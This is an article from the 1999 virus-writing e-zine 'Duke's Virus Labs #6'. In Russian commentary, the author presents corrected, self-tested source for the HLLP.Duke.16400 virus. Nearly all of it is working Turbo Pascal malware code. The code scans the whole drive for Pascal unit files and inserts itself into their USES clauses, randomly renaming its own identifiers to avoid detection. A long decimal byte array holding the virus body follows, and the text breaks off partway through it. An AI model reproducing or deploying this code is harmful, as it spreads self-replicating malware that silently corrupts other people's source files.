- [Duke's Virus Labs #6] - [Page 07] - HLLP.Duke.16400 (c) by Duke/SMF Имя вируса : HLLP.Duke.16400 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 22.03.99 Проснувшишь на следующий день после релиза DVL #5 я проснулся и с ужасом понял, что вирус HLLP.Duke работать не будет... В отличие от опубликованного в журнале DVL #5 (статья 9) вируса HLLP.Duke.16272, этот вирус более работоспособен ;)) Каюсь, в том вирусе я допустил пару ошибок, которые сейчас и исправляю. Итак, по сравнению с прошлой версией я внес изменения в следующие процедуры/функции: - Duke_TakeString - переработано полностью - FMRA_InfectFile - исправлено значение счетчика ( теперь Duke_Tek:=0 ) - FMRA_RandomSelect - немного изменена для пущей эстетичности Надо предупредить читателей, что последними байтами в исходном тексте вируса должны быть байты 0Dh,0Ah - в противном случае вирус будет неработоспособен. После этого я даже протестировал этот вирус в деле. Результаты меня вполне удовлетворили :)) Ниже привожу полные исходные тексты вируса, вместе с исходными текстами приблуды для создания FMRA_INC.INC из FMRA_BEG.PAS (setup.pas) и примером пораженного файла (hllpduke.pas). ===== begin fmra_beg.pas ===== UNIT FMRA_BEG; INTERFACE USES DOS; {$IFNDEF D+} CONST Hello='[HLLP.Duke.16400 (c) by Duke/SMF]'; {$ENDIF D+} TYPE FMRA_PList = ^FMRA_TList; FMRA_TList = record Name : String[12]; Next : FMRA_Plist; end; CONST Exchange : Array[1..10] of String[15] = ('FMRA_', 'Manager', 'ChDrive', 'UpStr', 'RandomName', 'InfectFile', 'DetectUnitFile', 'ScanDir', 'Exchange', 'RandomSelect'); {$I FMRA_INC.inc} VAR FMRA_SR : SearchRec; FMRA_S : String; Exchange1 : Array [1..10] of String [15]; Duke_Tek : integer; PROCEDURE FMRA_Manager; IMPLEMENTATION PROCEDURE FMRA_ChDrive(Drive : Byte);Assembler; asm MOV AH, 0Eh MOV DL, Drive; INT 21h END; FUNCTION FMRA_UpStr(S : String) : String; VAR S1 : String; i : Integer; BEGIN S1:=S; for i:=1 to Length(S1) do S1[i]:=UpCase(S1[i]); FMRA_UpStr:=S1; END; FUNCTION FMRA_RandomName(Range : Byte):String; VAR S : String; I, J, K : Byte; t : Text; BEGIN repeat S:=''; K:=1+Random(Range); if K<7 then K:=7; for J:=1 to K do begin I:=65+Random(26); S:=S+Chr(I); end; Assign(t,S+'.pas'); {$I-}ReSet(t);{$I+} if IOResult<>0 then break; Close (t); until False; FMRA_RandomName:=S; END; PROCEDURE FMRA_RandomSelect; VAR I, J : Byte; Flag : Boolean; BEGIN Exchange1[1]:=FMRA_RandomName(5)+'_'; for I:=2 to 10 do Exchange1[I]:=FMRA_RandomName(14); repeat Flag:=True; for J:=1 to 9 do for I:=J+1 to 10 do if Exchange1[J]=Exchange1[I] then begin Exchange1[I]:=FMRA_RandomName(14); Flag:=False; end; until Flag; END; PROCEDURE FMRA_Rename(var t,t1 : Text; S1 : String); VAR S : String; I, J : Byte; BEGIN ReSet(t); ReWrite(t1); While not Eof(t) do begin ReadLn(t,S); for I:=1 to 10 do while Pos(Exchange[I],S)>0 do begin J:=Pos(Exchange[I],S); Delete(S,J,Length(Exchange[I])); Insert(Exchange1[I],S,J); end; WriteLn(t1,S); end; Close(t1); Close(t); Erase(t); Rename(t1,S1); END; function Duke_TakeString : string; var s:string; y:boolean; begin s:=''; y:=true; while y do begin Duke_Tek:=Duke_Tek+1; s:=s+chr(Duke_Mas[Duke_Tek]); if Duke_Mas[Duke_Tek]=10 then y:=false; end; s:=copy(s,1,length(s)-2); Duke_TakeString:=s; end; procedure FMRA_InfectFile(S : String); var t1,t2 : Text; S1 : String; I, J : Integer; S2 : String [8]; Duke_St:string; Duke_File:file of char; ch:char; z:byte; begin S2:=FMRA_RandomName(8); Duke_St:=S2+'.pas'; Assign(t1,Duke_St); {$I-}ReWrite(t1);{$I+} if IOResult<>0 then Exit; Duke_Tek:=0; while Duke_Tek0 then Exit; WriteLn(t1,'CONST'); assign(Duke_File,Duke_St);reset(Duke_File); writeln(t1,'Duke_Max=',filesize(Duke_File),';'); writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte ='); z:=0; write(t1,'('); while not eof(Duke_File) do begin read(Duke_File,ch); write(t1,ord(ch)); if not eof(Duke_File) then write(t1,','); z:=z+1; if z=20 then begin writeln(t1,'');z:=0;end; end; write(t1,');'); Close(t1); Assign(t2,FMRA_RandomName(8)+'.inc'); FMRA_Rename(t1,t2,S2+'.inc'); Assign(t1,S); ReSet(t1); if IOResult<>0 then Exit; Assign(t2,'Scheriff.pas'); ReWrite(t2); while not Eof(t1) do begin ReadLn(t1,S1); if Pos ('USES ',FMRA_UpStr(S1))>0 then Insert('{$IFNDEF D+} '+S2+', {$ENDIF D+} ',S1,Pos('USES ',FMRA_UpStr(S1))+5); WriteLn(t2,S1); end; Close(t2); Close(t1); Erase(t1); Rename(t2,S); end; procedure FMRA_DetectUnitFile(S : String); var t : Text; Flag : Boolean; S1 : String; begin Assign(t,S);{$I-}ReSet(t);{$I+} if IOResult<>0 then Exit; Flag:=False; while not Eof(t) do begin ReadLn(t,S1); if Pos('{$IFNDEF',S1)>0 then begin Flag:=False; Break; end; if FMRA_UpStr(S1)='IMPLEMENTATION' then Flag:=True; end; Close(t); if Flag then FMRA_InfectFile(S); end; procedure FMRA_ScanDir(stdir:PathStr); var n,L : FMRA_PList; m : PathStr; St : string[79]; ch : char; DIR : DirStr; NAM : NameStr; EXT : EXTSTR; begin FileMode:=0; L:=nil; if stdir[Length(stdir)]<>'\' then stdir:=stdir+'\'; m:=stdir+'*.*'; FindFirst(m,AnyFile,FMRA_SR); while dosError=0 do begin if ((FMRA_SR.Attr and Directory)<>0) and (FMRA_SR.Name[1]<>'.') then begin New(n); N^.Next:=L; N^.Name:=FMRA_SR.Name; L:=N; end else if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin FMRA_S:=m; Delete(FMRA_S,Length(m)-2,3); FMRA_S:=FMRA_S+FMRA_SR.Name; FSPLIT(FMRA_S,DIR,NAM,EXT); IF (EXT='.PAS') and (FMRA_SR.Attr and Hidden=0) THEN FMRA_DetectUnitFile(FMRA_S); end; FindNext(FMRA_SR); end; while L<>nil do begin m:=Stdir+L^.Name; ChDir(m); if IOResult<>0 then Exit; n:=L; L:=L^.next; Dispose(n); m:=m+'\'; if IOResult=0 then FMRA_ScanDir(m); m:=stdir; if m[length(m)-1]<>':' then m[0]:=chr(length(stdir)-1); ChDir(m); end; end; PROCEDURE FMRA_Manager; VAR Home : PathStr; S : String; BEGIN Randomize; GetDir(0, Home); if Home[Length(Home)]='\' then Delete(Home,Length(Home),1); S:=Home[1]+':'; FMRA_ChDrive(ORD(UpCase(S[1]))-65); FMRA_ScanDir(S); FMRA_ChDrive(ORD(UpCase(Home[1]))-65); ChDir(Home); END; BEGIN FMRA_Manager; END. ===== end fmra_beg.pas ===== ===== begin fmra_inc.inc ===== CONST Duke_Max=5864; Duke_Mas:array[1..Duke_Max] of byte = (85,78,73,84,32,70,77,82,65,95,66,69,71,59,13,10,73,78,84,69, 82,70,65,67,69,13,10,85,83,69,83,32,68,79,83,59,13,10,123,36, 73,70,78,68,69,70,32,68,43,125,13,10,67,79,78,83,84,32,72,101, 108,108,111,61,39,91,72,76,76,80,46,68,117,107,101,46,49,54,52,48, 48,32,40,99,41,32,98,121,32,68,117,107,101,47,83,77,70,93,39,59, 13,10,123,36,69,78,68,73,70,32,68,43,125,13,10,84,89,80,69,32, 70,77,82,65,95,80,76,105,115,116,32,61,32,94,70,77,82,65,95,84, 76,105,115,116,59,13,10,32,32,32,32,32,70,77,82,65,95,84,76,105, 115,116,32,61,32,114,101,99,111,114,100,13,10,32,32,32,32,32,32,32, 78,97,109,101,32,58,32,83,116,114,105,110,103,91,49,50,93,59,13,10, 32,32,32,32,32,32,32,78,101,120,116,32,58,32,70,77,82,65,95,80, 108,105,115,116,59,13,10,32,32,32,32,32,32,32,101,110,100,59,13,10, 67,79,78,83,84,32,69,120,99,104,97,110,103,101,32,58,32,65,114,114, 97,121,91,49,46,46,49,48,93,32,111,102,32,83,116,114,105,110,103,91, 49,53,93,32,61,13,10,32,32,32,32,32,40,39,70,77,82,65,95,39, 44,13,10,32,32,32,32,32,32,39,77,97,110,97,103,101,114,39,44,13, 10,32,32,32,32,32,32,39,67,104,68,114,105,118,101,39,44,13,10,32, 32,32,32,32,32,39,85,112,83,116,114,39,44,13,10,32,32,32,32,32, 32,39,82,97,110,100,111,109,78,97,109,101,39,44,13,10,32,32,32,32, 32,32,39,73,110,102,101,99,116,70,105,108,101,39,44,13,10,32,32,32, 32,32,32,39,68,101,116,101,99,116,85,110,105,116,70,105,108,101,39,44, 13,10,32,32,32,32,32,32,39,83,99,97,110,68,105,114,39,44,13,10, 32,32,32,32,32,32,39,69,120,99,104,97,110,103,101,39,44,13,10,32, 32,32,32,32,32,39,82,97,110,100,111,109,83,101,108,101,99,116,39,41, 59,13,10,123,36,73,32,70,77,82,65,95,73,78,67,46,105,110,99,125, 13,10,86,65,82,32,70,77,82,65,95,83,82,32,58,32,83,101,97,114, 99,104,82,101,99,59,13,10,32,32,32,32,70,77,82,65,95,83,32,58, 32,83,116,114,105,110,103,59,13,10,32,32,32,32,69,120,99,104,97,110, 103,101,49,32,58,32,65,114,114,97,121,32,91,49,46,46,49,48,93,32, 111,102,32,83,116,114,105,110,103,32,91,49,53,93,59,13,10,32,32,32, 32,68,117,107,101,95,84,101,107,32,58,32,105,110,116,101,103,101,114,59, 13,10,13,10,80,82,79,67,69,68,85,82,69,32,70,77,82,65,95,77, 97,110,97,103,101,114,59,13,10,13,10,73,77,80,76,69,77,69,78,84, 65,84,73,79,78,13,10,13,10,80,82,79,67,69,68,85,82,69,32,70, 77,82,65,95,67,104,68,114,105,118,101,40,68,114,105,118,101,32,58,32, 66,121,116,101,41,59,65,115,115,101,109,98,108,101,114,59,13,10,97,115, 109,13,10,77,79,86,32,65,72,44,32,48,69,104,13,10,77,79,86,32, 68,76,44,32,68,114,105,118,101,59,13,10,73,78,84,32,50,49,104,13, 10,69,78,68,59,13,10,13,10,70,85,78,67,84,73,79,78,32,70,77, 82,65,95,85,112,83,116,114,40,83,32,58,32,83,116,114,105,110,103,41, 32,58,32,83,116,114,105,110,103,59,13,10,86,65,82,13,10,32,32,32, 83,49,32,58,32,83,116,114,105,110,103,59,13,10,32,32,32,105,32,58, 32,73,110,116,101,103,101,114,59,13,10,66,69,71,73,78,13,10,83,49, 58,61,83,59,13,10,102,111,114,32,105,58,61,49,32,116,111,32,76,101, 110,103,116,104,40,83,49,41,32,100,111,32,83,49,91,105,93,58,61,85, 112,67,97,115,101,40,83,49,91,105,93,41,59,13,10,70,77,82,65,95, 85,112,83,116,114,58,61,83,49,59,13,10,69,78,68,59,13,10,13,10, 70,85,78,67,84,73,79,78,32,70,77,82,65,95,82,97,110,100,111,109, 78,97,109,101,40,82,97,110,103,101,32,58,32,66,121,116,101,41,58,83, 116,114,105,110,103,59,13,10,86,65,82,13,10,32,32,32,83,32,58,32, 83,116,114,105,110,103,59,13,10,32,32,32,73,44,32,74,44,32,75,32, 58,32,66,121,116,101,59,13,10,32,32,32,116,32,58,32,84,101,120,116, 59,13,10,66,69,71,73,78,13,10,114,101,112,101,97,116,13,10,32,32, 83,58,61,39,39,59,13,10,32,32,75,58,61,49,43,82,97,110,100,111, 109,40,82,97,110,103,101,41,59,13,10,32,32,105,102,32,75,60,55,32, 116,104,101,110,32,75,58,61,55,59,13,10,32,32,102,111,114,32,74,58, 61,49,32,116,111,32,75,32,100,111,13,10,32,32,32,32,98,101,103,105, 110,13,10,32,32,32,32,73,58,61,54,53,43,82,97,110,100,111,109,40, 50,54,41,59,13,10,32,32,32,32,83,58,61,83,43,67,104,114,40,73, 41,59,13,10,32,32,32,32,101,110,100,59,13,10,32,32,65,115,115,105, 103,110,40,116,44,83,43,39,46,112,97,115,39,41,59,13,10,32,32,123, 36,73,45,125,82,101,83,101,116,40,116,41,59,123,36,73,43,125,13,10, 32,32,105,102,32,73,79,82,101,115,117,108,116,60,62,48,32,116,104,101, 110,32,98,114,101,97,107,59,13,10,32,32,67,108,111,115,101,32,40,116, 41,59,13,10,117,110,116,105,108,32,70,97,108,115,101,59,13,10,70,77, 82,65,95,82,97,110,100,111,109,78,97,109,101,58,61,83,59,13,10,69, 78,68,59,13,10,13,10,80,82,79,67,69,68,85,82,69,32,70,77,82, 65,95,82,97,110,100,111,109,83,101,108,101,99,116,59,13,10,86,65,82, 13,10,32,32,32,73,44,32,74,32,58,32,66,121,116,101,59,13,10,32, 32,32,70,108,97,103,32,58,32,66,111,111,108,101,97,110,59,13,10,66, 69,71,73,78,13,10,69,120,99,104,97,110,103,101,49,91,49,93,58,61, 70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,53,41,43,39, 95,39,59,13,10,102,111,114,32,73,58,61,50,32,116,111,32,49,48,32, 100,111,32,69,120,99,104,97,110,103,101,49,91,73,93,58,61,70,77,82, 65,95,82,97,110,100,111,109,78,97,109,101,40,49,52,41,59,13,10,114, 101,112,101,97,116,13,10,32,32,70,108,97,103,58,61,84,114,117,101,59, 13,10,32,32,102,111,114,32,74,58,61,49,32,116,111,32,57,32,100,111, 13,10,32,32,32,32,102,111,114,32,73,58,61,74,43,49,32,116,111,32, 49,48,32,100,111,13,10,32,32,32,32,105,102,32,69,120,99,104,97,110, 103,101,49,91,74,93,61,69,120,99,104,97,110,103,101,49,91,73,93,32, 116,104,101,110,13,10,32,32,32,32,32,32,98,101,103,105,110,13,10,32, 32,32,32,32,32,69,120,99,104,97,110,103,101,49,91,73,93,58,61,70, 77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,49,52,41,59,13, 10,32,32,32,32,32,32,70,108,97,103,58,61,70,97,108,115,101,59,13, 10,32,32,32,32,32,32,101,110,100,59,13,10,117,110,116,105,108,32,70, 108,97,103,59,13,10,69,78,68,59,13,10,13,10,80,82,79,67,69,68, 85,82,69,32,70,77,82,65,95,82,101,110,97,109,101,40,118,97,114,32, 116,44,116,49,32,58,32,84,101,120,116,59,32,83,49,32,58,32,83,116, 114,105,110,103,41,59,13,10,86,65,82,13,10,32,32,32,83,32,58,32, 83,116,114,105,110,103,59,13,10,32,32,32,73,44,32,74,32,58,32,66, 121,116,101,59,13,10,66,69,71,73,78,13,10,82,101,83,101,116,40,116, 41,59,13,10,82,101,87,114,105,116,101,40,116,49,41,59,13,10,87,104, 105,108,101,32,110,111,116,32,69,111,102,40,116,41,32,100,111,13,10,32, 32,98,101,103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,44,83, 41,59,13,10,32,32,102,111,114,32,73,58,61,49,32,116,111,32,49,48, 32,100,111,13,10,32,32,32,32,119,104,105,108,101,32,80,111,115,40,69, 120,99,104,97,110,103,101,91,73,93,44,83,41,62,48,32,100,111,13,10, 32,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,74, 58,61,80,111,115,40,69,120,99,104,97,110,103,101,91,73,93,44,83,41, 59,13,10,32,32,32,32,32,32,68,101,108,101,116,101,40,83,44,74,44, 76,101,110,103,116,104,40,69,120,99,104,97,110,103,101,91,73,93,41,41, 59,13,10,32,32,32,32,32,32,73,110,115,101,114,116,40,69,120,99,104, 97,110,103,101,49,91,73,93,44,83,44,74,41,59,13,10,32,32,32,32, 32,32,101,110,100,59,13,10,32,32,87,114,105,116,101,76,110,40,116,49, 44,83,41,59,13,10,32,32,101,110,100,59,13,10,67,108,111,115,101,40, 116,49,41,59,13,10,67,108,111,115,101,40,116,41,59,13,10,69,114,97, 115,101,40,116,41,59,13,10,82,101,110,97,109,101,40,116,49,44,83,49, 41,59,13,10,69,78,68,59,13,10,13,10,102,117,110,99,116,105,111,110, 32,68,117,107,101,95,84,97,107,101,83,116,114,105,110,103,32,58,32,115, 116,114,105,110,103,59,13,10,118,97,114,32,115,58,115,116,114,105,110,103, 59,13,10,32,32,32,32,121,58,98,111,111,108,101,97,110,59,13,10,98, 101,103,105,110,13,10,115,58,61,39,39,59,13,10,121,58,61,116,114,117, 101,59,13,10,119,104,105,108,101,32,121,32,100,111,13,10,32,32,98,101, 103,105,110,13,10,32,32,68,117,107,101,95,84,101,107,58,61,68,117,107, 101,95,84,101,107,43,49,59,13,10,32,32,115,58,61,115,43,99,104,114, 40,68,117,107,101,95,77,97,115,91,68,117,107,101,95,84,101,107,93,41, 59,13,10,32,32,105,102,32,68,117,107,101,95,77,97,115,91,68,117,107, 101,95,84,101,107,93,61,49,48,32,116,104,101,110,32,121,58,61,102,97, 108,115,101,59,13,10,32,32,101,110,100,59,13,10,115,58,61,99,111,112, 121,40,115,44,49,44,108,101,110,103,116,104,40,115,41,45,50,41,59,13, 10,68,117,107,101,95,84,97,107,101,83,116,114,105,110,103,58,61,115,59, 13,10,101,110,100,59,13,10,13,10,112,114,111,99,101,100,117,114,101,32, 70,77,82,65,95,73,110,102,101,99,116,70,105,108,101,40,83,32,58,32, 83,116,114,105,110,103,41,59,13,10,118,97,114,13,10,32,32,32,32,116, 49,44,116,50,32,58,32,84,101,120,116,59,13,10,32,32,32,32,83,49, 32,58,32,83,116,114,105,110,103,59,13,10,32,32,32,32,73,44,32,74, 32,58,32,73,110,116,101,103,101,114,59,13,10,32,32,32,32,83,50,32, 58,32,83,116,114,105,110,103,32,91,56,93,59,13,10,32,32,32,32,68, 117,107,101,95,83,116,58,115,116,114,105,110,103,59,13,10,32,32,32,32, 68,117,107,101,95,70,105,108,101,58,102,105,108,101,32,111,102,32,99,104, 97,114,59,13,10,32,32,32,32,99,104,58,99,104,97,114,59,13,10,32, 32,32,32,122,58,98,121,116,101,59,13,10,98,101,103,105,110,13,10,83, 50,58,61,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,56, 41,59,13,10,68,117,107,101,95,83,116,58,61,83,50,43,39,46,112,97, 115,39,59,13,10,65,115,115,105,103,110,40,116,49,44,68,117,107,101,95, 83,116,41,59,13,10,123,36,73,45,125,82,101,87,114,105,116,101,40,116, 49,41,59,123,36,73,43,125,13,10,105,102,32,73,79,82,101,115,117,108, 116,60,62,48,32,116,104,101,110,32,69,120,105,116,59,13,10,68,117,107, 101,95,84,101,107,58,61,48,59,13,10,119,104,105,108,101,32,68,117,107, 101,95,84,101,107,60,68,117,107,101,95,77,97,120,32,100,111,13,10,32, 32,98,101,103,105,110,13,10,32,32,83,49,58,61,68,117,107,101,95,84, 97,107,101,83,116,114,105,110,103,59,13,10,32,32,105,102,32,80,111,115, 40,39,123,36,73,32,39,44,83,49,41,61,49,32,116,104,101,110,32,83, 49,58,61,39,123,36,73,32,39,43,83,50,43,39,46,105,110,99,125,39, 59,13,10,32,32,105,102,32,80,111,115,40,39,85,78,73,84,39,44,83, 49,41,61,49,32,116,104,101,110,32,83,49,58,61,39,85,78,73,84,32, 39,43,83,50,43,32,39,59,39,59,13,10,32,32,87,114,105,116,101,76, 110,40,116,49,44,83,49,41,59,13,10,32,32,101,110,100,59,13,10,67, 108,111,115,101,40,116,49,41,59,13,10,65,115,115,105,103,110,40,116,50, 44,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,56,41,43, 39,46,112,97,115,39,41,59,13,10,70,77,82,65,95,82,97,110,100,111, 109,83,101,108,101,99,116,59,13,10,70,77,82,65,95,82,101,110,97,109, 101,40,116,49,44,116,50,44,68,117,107,101,95,83,116,41,59,13,10,65, 115,115,105,103,110,40,116,49,44,83,50,43,39,46,105,110,99,39,41,59, 13,10,82,101,87,114,105,116,101,40,116,49,41,59,13,10,105,102,32,73, 79,82,101,115,117,108,116,60,62,48,32,116,104,101,110,32,69,120,105,116, 59,13,10,87,114,105,116,101,76,110,40,116,49,44,39,67,79,78,83,84, 39,41,59,13,10,97,115,115,105,103,110,40,68,117,107,101,95,70,105,108, 101,44,68,117,107,101,95,83,116,41,59,114,101,115,101,116,40,68,117,107, 101,95,70,105,108,101,41,59,13,10,119,114,105,116,101,108,110,40,116,49, 44,39,68,117,107,101,95,77,97,120,61,39,44,102,105,108,101,115,105,122, 101,40,68,117,107,101,95,70,105,108,101,41,44,39,59,39,41,59,13,10, 119,114,105,116,101,108,110,40,116,49,44,39,68,117,107,101,95,77,97,115, 58,97,114,114,97,121,91,49,46,46,68,117,107,101,95,77,97,120,93,32, 111,102,32,98,121,116,101,32,61,39,41,59,13,10,122,58,61,48,59,13, 10,119,114,105,116,101,40,116,49,44,39,40,39,41,59,13,10,119,104,105, 108,101,32,110,111,116,32,101,111,102,40,68,117,107,101,95,70,105,108,101, 41,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,114,101,97, 100,40,68,117,107,101,95,70,105,108,101,44,99,104,41,59,13,10,32,32, 119,114,105,116,101,40,116,49,44,111,114,100,40,99,104,41,41,59,13,10, 32,32,105,102,32,110,111,116,32,101,111,102,40,68,117,107,101,95,70,105, 108,101,41,32,116,104,101,110,32,119,114,105,116,101,40,116,49,44,39,44, 39,41,59,13,10,32,32,122,58,61,122,43,49,59,13,10,32,32,105,102, 32,122,61,50,48,32,116,104,101,110,32,98,101,103,105,110,32,119,114,105, 116,101,108,110,40,116,49,44,39,39,41,59,122,58,61,48,59,101,110,100, 59,13,10,32,32,101,110,100,59,13,10,119,114,105,116,101,40,116,49,44, 39,41,59,39,41,59,13,10,67,108,111,115,101,40,116,49,41,59,13,10, 65,115,115,105,103,110,40,116,50,44,70,77,82,65,95,82,97,110,100,111, 109,78,97,109,101,40,56,41,43,39,46,105,110,99,39,41,59,13,10,70, 77,82,65,95,82,101,110,97,109,101,40,116,49,44,116,50,44,83,50,43, 39,46,105,110,99,39,41,59,13,10,65,115,115,105,103,110,40,116,49,44, 83,41,59,13,10,82,101,83,101,116,40,116,49,41,59,13,10,105,102,32, 73,79,82,101,115,117,108,116,60,62,48,32,116,104,101,110,32,69,120,105, 116,59,13,10,65,115,115,105,103,110,40,116,50,44,39,83,99,104,101,114, 105,102,102,46,112,97,115,39,41,59,13,10,82,101,87,114,105,116,101,40, 116,50,41,59,13,10,119,104,105,108,101,32,110,111,116,32,69,111,102,40, 116,49,41,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,82, 101,97,100,76,110,40,116,49,44,83,49,41,59,13,10,32,32,105,102,32, 80,111,115,32,40,39,85,83,69,83,32,39,44,70,77,82,65,95,85,112, 83,116,114,40,83,49,41,41,62,48,32,116,104,101,110,13,10,32,32,32, 32,73,110,115,101,114,116,40,39,123,36,73,70,78,68,69,70,32,68,43, 125,32,39,43,83,50,43,39,44,32,123,36,69,78,68,73,70,32,68,43, 125,32,39,44,83,49,44,80,111,115,40,39,85,83,69,83,32,39,44,70, 77,82,65,95,85,112,83,116,114,40,83,49,41,41,43,53,41,59,13,10, 32,32,87,114,105,116,101,76,110,40,116,50,44,83,49,41,59,13,10,32, 32,101,110,100,59,13,10,67,108,111,115,101,40,116,50,41,59,13,10,67, 108,111,115,101,40,116,49,41,59,13,10,69,114,97,115,101,40,116,49,41, 59,13,10,82,101,110,97,109,101,40,116,50,44,83,41,59,13,10,101,110, 100,59,13,10,13,10,112,114,111,99,101,100,117,114,101,32,70,77,82,65, 95,68,101,116,101,99,116,85,110,105,116,70,105,108,101,40,83,32,58,32, 83,116,114,105,110,103,41,59,13,10,118,97,114,13,10,32,32,32,32,116, 32,32,32,32,58,32,84,101,120,116,59,13,10,32,32,32,32,70,108,97, 103,32,58,32,66,111,111,108,101,97,110,59,13,10,32,32,32,32,83,49, 32,32,32,58,32,83,116,114,105,110,103,59,13,10,98,101,103,105,110,13, 10,65,115,115,105,103,110,40,116,44,83,41,59,123,36,73,45,125,82,101, 83,101,116,40,116,41,59,123,36,73,43,125,13,10,105,102,32,73,79,82, 101,115,117,108,116,60,62,48,32,116,104,101,110,32,69,120,105,116,59,13, 10,70,108,97,103,58,61,70,97,108,115,101,59,13,10,119,104,105,108,101, 32,110,111,116,32,69,111,102,40,116,41,32,100,111,13,10,32,32,98,101, 103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,44,83,49,41,59, 13,10,32,32,105,102,32,80,111,115,40,39,123,36,73,70,78,68,69,70, 39,44,83,49,41,62,48,32,116,104,101,110,13,10,32,32,32,32,98,101, 103,105,110,13,10,32,32,32,32,70,108,97,103,58,61,70,97,108,115,101, 59,13,10,32,32,32,32,66,114,101,97,107,59,13,10,32,32,32,32,101, 110,100,59,13,10,32,32,105,102,32,70,77,82,65,95,85,112,83,116,114, 40,83,49,41,61,39,73,77,80,76,69,77,69,78,84,65,84,73,79,78, 39,32,116,104,101,110,32,70,108,97,103,58,61,84,114,117,101,59,13,10, 32,32,101,110,100,59,13,10,67,108,111,115,101,40,116,41,59,13,10,105, 102,32,70,108,97,103,32,116,104,101,110,32,70,77,82,65,95,73,110,102, 101,99,116,70,105,108,101,40,83,41,59,13,10,101,110,100,59,13,10,13, 10,112,114,111,99,101,100,117,114,101,32,70,77,82,65,95,83,99,97,110, 68,105,114,40,115,116,100,105,114,58,80,97,116,104,83,116,114,41,59,13, 10,118,97,114,13,10,32,32,32,32,110,44,76,32,58,32,70,77,82,65, 95,80,76,105,115,116,59,13,10,32,32,32,32,109,32,58,32,80,97,116, 104,83,116,114,59,13,10,32,32,32,32,83,116,32,58,32,115,116,114,105, 110,103,91,55,57,93,59,13,10,32,32,32,32,99,104,32,58,32,99,104, 97,114,59,13,10,32,32,32,32,68,73,82,32,58,32,68,105,114,83,116, 114,59,13,10,32,32,32,32,78,65,77,32,58,32,78,97,109,101,83,116, 114,59,13,10,32,32,32,32,69,88,84,32,58,32,69,88,84,83,84,82, 59,13,10,98,101,103,105,110,13,10,70,105,108,101,77,111,100,101,58,61, 48,59,13,10,76,58,61,110,105,108,59,13,10,105,102,32,115,116,100,105, 114,91,76,101,110,103,116,104,40,115,116,100,105,114,41,93,60,62,39,92, 39,32,116,104,101,110,32,115,116,100,105,114,58,61,115,116,100,105,114,43, 39,92,39,59,13,10,109,58,61,115,116,100,105,114,43,39,42,46,42,39, 59,13,10,70,105,110,100,70,105,114,115,116,40,109,44,65,110,121,70,105, 108,101,44,70,77,82,65,95,83,82,41,59,13,10,119,104,105,108,101,32, 100,111,115,69,114,114,111,114,61,48,32,100,111,13,10,32,32,98,101,103, 105,110,13,10,32,32,105,102,32,40,40,70,77,82,65,95,83,82,46,65, 116,116,114,32,97,110,100,32,68,105,114,101,99,116,111,114,121,41,60,62, 48,41,32,97,110,100,32,40,70,77,82,65,95,83,82,46,78,97,109,101, 91,49,93,60,62,39,46,39,41,32,116,104,101,110,13,10,32,32,32,32, 98,101,103,105,110,13,10,32,32,32,32,78,101,119,40,110,41,59,13,10, 32,32,32,32,78,94,46,78,101,120,116,58,61,76,59,13,10,32,32,32, 32,78,94,46,78,97,109,101,58,61,70,77,82,65,95,83,82,46,78,97, 109,101,59,13,10,32,32,32,32,76,58,61,78,59,13,10,32,32,32,32, 101,110,100,13,10,32,32,101,108,115,101,13,10,32,32,105,102,32,40,70, 77,82,65,95,83,82,46,65,116,116,114,32,97,110,100,32,86,111,108,117, 109,101,73,68,61,48,41,32,97,110,100,32,40,70,77,82,65,95,83,82, 46,65,116,116,114,32,97,110,100,32,68,105,114,101,99,116,111,114,121,61, 48,41,32,116,104,101,110,13,10,32,32,32,32,98,101,103,105,110,13,10, 32,32,32,32,70,77,82,65,95,83,58,61,109,59,13,10,32,32,32,32, 68,101,108,101,116,101,40,70,77,82,65,95,83,44,76,101,110,103,116,104, 40,109,41,45,50,44,51,41,59,13,10,32,32,32,32,70,77,82,65,95, 83,58,61,70,77,82,65,95,83,43,70,77,82,65,95,83,82,46,78,97, 109,101,59,13,10,32,32,32,32,70,83,80,76,73,84,40,70,77,82,65, 95,83,44,68,73,82,44,78,65,77,44,69,88,84,41,59,13,10,32,32, 32,32,73,70,32,40,69,88,84,61,39,46,80,65,83,39,41,32,97,110, 100,32,40,70,77,82,65,95,83,82,46,65,116,116,114,32,97,110,100,32, 72,105,100,100,101,110,61,48,41,32,84,72,69,78,13,10,32,32,32,32, 32,32,70,77,82,65,95,68,101,116,101,99,116,85,110,105,116,70,105,108, 101,40,70,77,82,65,95,83,41,59,13,10,32,32,32,32,101,110,100,59, 13,10,32,32,70,105,110,100,78,101,120,116,40,70,77,82,65,95,83,82, 41,59,13,10,32,32,101,110,100,59,13,10,119,104,105,108,101,32,76,60, 62,110,105,108,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32, 109,58,61,83,116,100,105,114,43,76,94,46,78,97,109,101,59,13,10,32, 32,67,104,68,105,114,40,109,41,59,13,10,32,32,105,102,32,73,79,82, 101,115,117,108,116,60,62,48,32,116,104,101,110,32,69,120,105,116,59,13, 10,32,32,110,58,61,76,59,13,10,32,32,76,58,61,76,94,46,110,101, 120,116,59,13,10,32,32,68,105,115,112,111,115,101,40,110,41,59,13,10, 32,32,109,58,61,109,43,39,92,39,59,13,10,32,32,105,102,32,73,79, 82,101,115,117,108,116,61,48,32,116,104,101,110,32,70,77,82,65,95,83, 99,97,110,68,105,114,40,109,41,59,13,10,32,32,109,58,61,115,116,100, 105,114,59,13,10,32,32,105,102,32,109,91,108,101,110,103,116,104,40,109, 41,45,49,93,60,62,39,58,39,32,116,104,101,110,32,109,91,48,93,58, 61,99,104,114,40,108,101,110,103,116,104,40,115,116,100,105,114,41,45,49, 41,59,13,10,32,32,67,104,68,105,114,40,109,41,59,13,10,32,32,101, 110,100,59,13,10,101,110,100,59,13,10,13,10,80,82,79,67,69,68,85, 82,69,32,70,77,82,65,95,77,97,110,97,103,101,114,59,13,10,86,65, 82,13,10,32,32,32,32,72,111,109,101,32,58,32,80,97,116,104,83,116, 